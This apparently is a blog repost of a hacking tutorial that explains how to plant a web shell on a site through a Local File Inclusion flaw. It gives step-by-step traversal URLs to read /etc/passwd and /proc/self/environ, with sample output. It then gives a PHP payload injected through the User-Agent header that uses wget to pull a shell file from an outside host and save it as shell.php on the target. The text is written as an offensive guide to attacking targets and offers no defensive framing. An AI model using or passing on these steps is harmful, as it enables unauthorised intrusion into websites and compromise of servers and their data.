Shell Uploading Via LFI

Hello,

I have written a Paper About LFI Shell Upload which has been publically recognized on Milw00rm.
Link : https://www.milw00rm.com/exploits/10350

#Topic: LFI TUT SHELL UPLOAD
#Author: Aaditya Purani
#Qualification: IT enginner, CEH, Security Researcher
#Contact: twitter.com/aaditya_purani

Hello friends,
Welcome back. I am Aaditya Purani and in my today's lecture i will show you how
to upload Shell using LFI vulnerability . I divide my talk in 5 parts

1 - Introduction
2 - Finding LFI
3 - Checking if proc/self/environ is accessible
4 - Injecting malicious code
5 - Access our shell

>> 1 - Introduction

    In this tutorial I show you how to get a shell on websites using Local File
Inclusion vulnerabilities and
injection malicious code in proc/self/environ.Is a step by step tutorial.

>> 2 - Finding LFI

    - Now we are going to find a Local File Inclusion vulnerable website.So we
found our target,lets check it.

        www.website.com/view.php?page=contact.php
        
    - Now lets replace contact.php with ../ so the URL will become
    
        www.website.com/view.php?page=../
        
    and we got an error
    
        Warning: include(../) [function.include]: failed to open stream: No such
file or directory in /home/sirgod/public_html/website.com/view.php on line 1337

    big chances to have a Local File Inclusion vulnerability.Let's go to next
step.

    - Now lets check for etc/passwd to see the if is Local File Inclusion
vulnerable.Lets make a request :

        www.website.com/view.php?page=../../../etc/passwd
    
    we got error and no etc/passwd file
        Warning: include(../) [function.include]: failed to open stream: No such
file or directory in /home/abc/public_html/website.com/view.php on line 1337

    so we go more directories up

        www.website.com/view.php?page=../../../../../etc/passwd
    
    we succesfully included the etc/passwd file.
        
        root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP
User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
    
>> 3 - Checking if proc/self/environ is accessible

    - Now lets see if proc/self/environ is accessible.We replace etc/passwd with
    proc/self/environ
    
        www.website.com/view.php?page=../../../../../proc/self/environ
        
        If you get something like
        
    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png,
image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com
HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd
HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00
PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself
%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665
REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..
%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php
SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x
SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80
SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2
mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at
www.website.com Port 80
        
        proc/self/environ is accessible.If you got a blank page,an error
proc/self/environ is not accessible or the OS is FreeBSD.
    
>> 4 - Injecting malicious code

    - Now let's inject our malicious code in proc/self/environ.How we can do
that?We can inject our code in User-Agent HTTP Header.  
    Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data
in Firefox and request the URL :

    www.website.com/view.php?page=../../../../../proc/self/environ
    
    Choose Tamper and in User-Agent filed write the following code :
    
        <?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?>
        
    Then submit the request.
    
        Our command will be executed (will download the txt shell from http://hackbay.
com/Shells/gny.txt and will save it as shell.php in the
website directory) through system(), and our shell will be created.If don't
work,try exec() because system() can be disabled on the webserver from php.ini.

>> 5 - Access our shell

    - Now lets check if our malicous code was successfully injected.Lets check
if the shell is present.

    www.website.com/shell.php
    
    Our shell is there.Injection was succesfully.


Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s